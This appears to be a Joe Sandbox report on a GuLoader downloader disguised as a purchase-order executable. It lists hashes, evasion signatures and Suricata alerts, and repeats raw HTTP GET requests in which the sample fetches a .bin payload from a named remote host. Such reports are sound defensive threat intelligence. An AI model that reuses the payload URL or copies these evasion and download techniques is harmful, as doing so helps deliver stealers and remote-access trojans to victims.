Edit tour

Windows Analysis Report
PO-10212024168877 PNG2023-W101.exe

Overview

General Information

Sample name:	PO-10212024168877 PNG2023-W101.exe
Analysis ID:	1544856
MD5:	e7504a48d78545ef459890b5c36b6b17
SHA1:	7dd9b7b12c2a58f83235edd771801bae8b94b6f3
SHA256:	7d0590445da76f1149aefce04bc517b15b330871cd3bd8c196a032e28588ee9e
Tags:	exeuser-threatcat_ch
Infos:

Detection

GuLoader

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

PO-10212024168877 PNG2023-W101.exe (PID: 4620 cmdline: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe" MD5: E7504A48D78545EF459890B5C36B6B17)

PO-10212024168877 PNG2023-W101.exe (PID: 5784 cmdline: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe" MD5: E7504A48D78545EF459890B5C36B6B17)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.3906224944.0000000003648000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.2614036861.0000000006688000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:37:35.807943+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49976	62.215.181.250	443	TCP
2024-10-29T20:37:37.732080+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49977	62.215.181.250	443	TCP
2024-10-29T20:37:39.641205+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49978	62.215.181.250	443	TCP
2024-10-29T20:37:41.591458+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49979	62.215.181.250	443	TCP
2024-10-29T20:37:43.528233+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49980	62.215.181.250	443	TCP
2024-10-29T20:37:45.434865+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49981	62.215.181.250	443	TCP
2024-10-29T20:37:47.357938+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49982	62.215.181.250	443	TCP
2024-10-29T20:37:49.306233+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49983	62.215.181.250	443	TCP
2024-10-29T20:37:51.423389+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49984	62.215.181.250	443	TCP
2024-10-29T20:37:53.374891+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49985	62.215.181.250	443	TCP
2024-10-29T20:37:55.330913+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49986	62.215.181.250	443	TCP
2024-10-29T20:37:57.283182+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49987	62.215.181.250	443	TCP
2024-10-29T20:37:59.264188+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49988	62.215.181.250	443	TCP
2024-10-29T20:38:01.187500+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49989	62.215.181.250	443	TCP
2024-10-29T20:38:03.399785+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49990	62.215.181.250	443	TCP
2024-10-29T20:38:06.396302+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49991	62.215.181.250	443	TCP
2024-10-29T20:38:08.666816+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49992	62.215.181.250	443	TCP
2024-10-29T20:38:10.646802+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49993	62.215.181.250	443	TCP
2024-10-29T20:38:12.581802+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49994	62.215.181.250	443	TCP
2024-10-29T20:38:14.525452+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49995	62.215.181.250	443	TCP
2024-10-29T20:38:16.488780+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49996	62.215.181.250	443	TCP
2024-10-29T20:38:18.423095+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49997	62.215.181.250	443	TCP
2024-10-29T20:38:21.363149+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49998	62.215.181.250	443	TCP
2024-10-29T20:38:23.299165+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49999	62.215.181.250	443	TCP
2024-10-29T20:38:25.234889+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50000	62.215.181.250	443	TCP
2024-10-29T20:38:27.329904+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50001	62.215.181.250	443	TCP
2024-10-29T20:38:29.261822+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50002	62.215.181.250	443	TCP
2024-10-29T20:38:31.728462+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50003	62.215.181.250	443	TCP
2024-10-29T20:38:33.685339+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50004	62.215.181.250	443	TCP
2024-10-29T20:38:35.854783+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50005	62.215.181.250	443	TCP
2024-10-29T20:38:37.784102+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50006	62.215.181.250	443	TCP
2024-10-29T20:38:39.728615+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50007	62.215.181.250	443	TCP
2024-10-29T20:38:41.651229+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50008	62.215.181.250	443	TCP
2024-10-29T20:38:43.595814+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50009	62.215.181.250	443	TCP
2024-10-29T20:38:45.551710+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50010	62.215.181.250	443	TCP
2024-10-29T20:38:47.477000+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50011	62.215.181.250	443	TCP
2024-10-29T20:38:49.486771+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50012	62.215.181.250	443	TCP
2024-10-29T20:38:51.395703+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50013	62.215.181.250	443	TCP
2024-10-29T20:38:53.304632+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50014	62.215.181.250	443	TCP
2024-10-29T20:38:55.324467+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50015	62.215.181.250	443	TCP
2024-10-29T20:38:57.221442+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50016	62.215.181.250	443	TCP
2024-10-29T20:38:59.170316+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50017	62.215.181.250	443	TCP
2024-10-29T20:39:01.109922+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50018	62.215.181.250	443	TCP
2024-10-29T20:39:03.053415+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50019	62.215.181.250	443	TCP
2024-10-29T20:39:04.971362+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50020	62.215.181.250	443	TCP
2024-10-29T20:39:06.901687+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50021	62.215.181.250	443	TCP
2024-10-29T20:39:08.829870+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50022	62.215.181.250	443	TCP
2024-10-29T20:39:10.762910+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50023	62.215.181.250	443	TCP
2024-10-29T20:39:12.668445+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50024	62.215.181.250	443	TCP
2024-10-29T20:39:14.647973+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50025	62.215.181.250	443	TCP
2024-10-29T20:39:16.576285+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50026	62.215.181.250	443	TCP
2024-10-29T20:39:19.269945+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50027	62.215.181.250	443	TCP
2024-10-29T20:39:21.199975+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50028	62.215.181.250	443	TCP
2024-10-29T20:39:23.130461+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50029	62.215.181.250	443	TCP
2024-10-29T20:39:25.031946+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50030	62.215.181.250	443	TCP
2024-10-29T20:39:27.014424+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50031	62.215.181.250	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PO-10212024168877 PNG2023-W101.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PO-10212024168877 PNG2023-W101.exe

Joe Sandbox ML: detected

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.215.181.250:443 -> 192.168.2.8:50027 version: TLS 1.2

Source: PO-10212024168877 PNG2023-W101.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_00406010 FindFirstFileA,FindClose,	0_2_00406010
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_004055AE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055AE
Source: C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49979 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49993 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49981 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49984 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49998 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50004 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50002 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49986 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49989 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49988 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49985 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49992 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49980 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50003 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49990 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49978 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49994 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49996 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49991 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49982 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50000 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49999 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49983 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49997 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50006 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49987 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49976 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50008 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50005 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50019 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50011 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50010 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50025 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50012 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50018 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50020 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50028 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50023 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50013 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50024 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50009 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50017 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50026 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50014 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50021 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50007 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50030 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50029 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49995 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50016 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49977 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50001 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50022 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50015 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50027 -> 62.215.181.250:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50031 -> 62.215.181.250:443

Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /admin/controller/extension/extension/zXcMABFvBCAfEn173.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: designcirclekw.comCache-Control: no-cache
